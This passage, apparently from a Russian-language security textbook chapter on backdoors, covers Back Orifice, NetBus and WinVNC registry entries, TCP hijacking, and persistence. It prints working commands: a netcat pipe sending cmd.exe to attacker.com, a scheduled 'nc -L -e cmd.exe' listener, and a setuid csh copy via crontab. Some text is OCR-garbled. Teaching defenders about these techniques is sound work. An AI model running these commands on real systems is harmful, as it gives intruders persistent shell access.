С системой Windows придется повозиться немного больше. Не остается ничего другого, как воспользоваться такими продуктами, как Windows Terminal Server или Independent Computing Architecture (ICA) компании Citrix (http://www.citrix.com). С помощью этих компонентов можно организовать конвейер, связывающий удаленный рабочий стол с компьютером взломщика. В отличие от системы NT4, в Windows 2000 терминальный сервер является встроенным компонентом, который входит в комплект поставки. Так что почти наверняка он окажется доступным. Чтобы определить, установлены ли на взломанном удаленном узле терминальные службы, можно воспользоваться утилитой sclist из набора NTRK. После этого с помощью привилегированной учетной записи нужно установить соединение. Ниже показан пример использования утилиты sciist (для краткости полученный листинг сокращен).

D:\Toclbox>sclist athena
- Service list for ath'ena
running Alerter Alerter
running TermService Terminal Services
running TerrriServLicensing Terminal Services Licensing
stopped TFTFD Trivial FTP Daemon
stopped TlntSvr Telnet

Если оказалось, что на удаленном узле установлены также средства Terminal Services Licensing, то его можно настроить для работы в режиме сервера приложений, а не в режиме сервера удаленного управления. Это может принести взломщику определенную выгоду (компания Microsoft советует устанавливать сервер лицензирования и терминальный сервер на разные компьютеры).

Загрузочные файлы



Загрузочные файлы

В предыдущих главах много говорилось о "потайных ходах", которые создаются с помощью механизмов загрузки, поддерживаемых различными платформами. Такой способ стал излюбленным методом злоумышленников, поскольку он позволяет устанавливать ловушки, которые активизируются при каждом перезапуске системы неосмотрительными пользователями.



Загрузочный файл и параметры системного реестра



Загрузочный файл и параметры системного реестра

Взломщикам было бы неинтересно создавать "потайной ход", если бы после обычной перезагрузки системы или после удаления администратором какой-нибудь необходимой службы, они не имели бы возможности возобновить соединение. Это можно обеспечить, поместив в основных конфигурационных файлах или в системном реестре ссылки на средства создания "потайного хода". Фактически для функционирования многих из упомянутых программ требуется наличие в системном реестре определенных параметров, что значительно облегчает их идентификацию и удаление.
Программа Back Orifice добавляет запись в поддерево системного реестра HKEY_LOCAL_MACHINE\Software\ Microsoft\Windows\CurrentVersion\RunServices\. При установке по умолчанию в системном реестре параметру (Default) присваивается значение " .ехе" ([пробел] .ехе), являющееся принятым по умолчанию именем исполняемого файла сервера ВО, помещенного в каталог C:\windows\system. При установке пакета ВО2К исполняемый файл переименовывается в UMGR32 .ЕХЕ и в системе Win 9x копируется в каталог С: \windows\system. а в NT/2000 — в каталог С: \winnt\system32. Конечно же, взломщик может изменить эти параметры по своему усмотрению. Если какие-либо параметры системного реестра ссылаются на файл размером около 124,928 байт, то существует вероятность, что это файл ВО. Файл ВО2К имеет размер 114,688 байт.
Последняя версия программы NetBus добавляет несколько параметров в поддерево HKEY_LOCAL_MACHlNE\SOFTWARE\Net Solutions\NetBus Server, однако самый важ-ный ключ создается в HKEY_LOCAL_MACHlNE\Software\ Microsoft\Windows\CurrentVersionXRun. Он ссылается на исполняемый файл сервера (в более ранних версиях по умолчанию этот файл называется SysEdit, но взломщик может его изменить).
Пакет WinVNC создает ключ HKEY_USERS\ .DEFAULT\Software\ORL\winVNC3.
В системе UNIX опасные демоны нужно искать в различных файлах rс, а также в файле /etc/inetd.conf.



Захват командной оболочки с помощью утилиты netcat



Захват командной оболочки с помощью утилиты netcat

Если на целевой компьютер можно поместить утилиту netcat, или если она там уже установлена, то можно воспользоваться аналогичным методом. Такой подход мы называем "захват командной оболочки", потому что его суть заключается в том, что на своем рабочем компьютере взломщик получает в полное распоряжение все функциональные возможности удаленной командной оболочки. Рассмотрим пример, когда в удаленной командной строке запускается следующая команда.

nс attacker.com 80 | cmd.exe | nс attacker.com 25

Если хакер на своем компьютере attacker.com с помощью утилиты netcat осуществляет прослушивание TCP-портов 80 и 25 и при этом порт 80 разрешает передачу входящих, а порт 25 — исходящих пакетов для компьютера-жертвы через брандмауэр, то эта команда позволяет "захватить" командную оболочку удаленной системы. На Рисунок 14.3 показан экран компьютера взломщика, где в верхнем окне на порт 80 передается команда ipconf ig, а результаты ее выполнения направляются в порт 25 и отображаются в нижнем окне.

Захват сеанса



Захват сеанса

Сетевые устройства поддерживают весь корпоративный поток сообщений. Каждое сообщение электронной почты, каждый файл, каждый номер кредитной карточки клиента передается по сети и обрабатывается этими устройствами. Очевидно, что обеспечение их безопасности является первоочередной задачей. Поэтому никогда нельзя исключать возможности, что сетевой трафик будет перехвачен злоумышленником. Ниже вы узнаете, как это можно осуществить с помощью так называемого захвата соединения TCP (TCP hijacking).
Такой подход стал возможным из-за наличия ошибок в протоколе TCP. Протоколы TCP/IP допускают внедрение в поток сообщений ложного пакета, позволяя тем самым запускать команды на удаленном узле. Однако этот тип взлома возможен только в сети с множественным доступом (этому вопросу посвящен раздел "Множественный доступ и коммутация пакетов" главы 10, "Сетевые устройства"), и для него нужно немного везения. С помощью программы Juggernaut или Hunt взломщик может попытаться "подсмотреть" передаваемые данные, а затем перехватить соединение.



Запланированные задания



Запланированные задания

Например, в системе Windows NT простой "потайной ход" можно реализовать, установив утилиту netcat, которая будет ежедневно запускаться в назначенное время.

C:\>at\\192.168.202/44 12:ООА /every:!
""nc -d -L -р 8080 -е cmd.exe"
Added a new job with job ID = 2

С помощью этой команды каждый день в полдень будет инициироваться новая программа прослушивания порта 8080. Злоумышленник сможет без проблем подключиться к целевому компьютеру с помощью утилиты netcat и получить в свое распоряжение командную оболочку, периодически удаляя ранее запущенные экземпляры netcat. Кроме того, можно воспользоваться также командным файлом, чтобы сначала проверить, запущена ли утилита netcat, а затем при необходимости осуществить ее запуск.
В системе UNIX планирование выполнения процессов осуществляется с использованием программы crontab. Она часто применяется для автоматизации трудоемкого процесса поддержки системы, но может быть использована также и для создания "потайных ходов". В большинстве систем UNIX файл crontab можно редактировать с помощью команды crontab -e, при этом данный файл будет открыт в определенном редакторе (который обычно задается с помощью переменных окружения VISUAL или EDITOR).
Чаще всего "потайной ход" можно создать в системе, в которой программа crontab запускается с правами суперпользователя и используется для вызова командных файлов. Если для этих командных файлов взломщик задаст права доступа, позволяющие редактировать их посторонним пользователям, то он сможет легко вернуться в систему в качестве обычного пользователя и сразу же получить привилегии root. В файле crontab это можно осуществить с помощью следующих команд.

ср /bin/csh /tmp/evilsh
chmod 4777 /tmp/evilsh



Запустив утилиту netcat на компьютере



Рисунок 14.3. Запустив утилиту netcat на компьютере взломщика (на рисунке показан его рабочий стол) и на целевом узле, можно "захватить" удаленную командную оболочку. Команды, которые вводятся в верхнем окне, выполняются на удаленной системе, а результаты их работы — в нижнем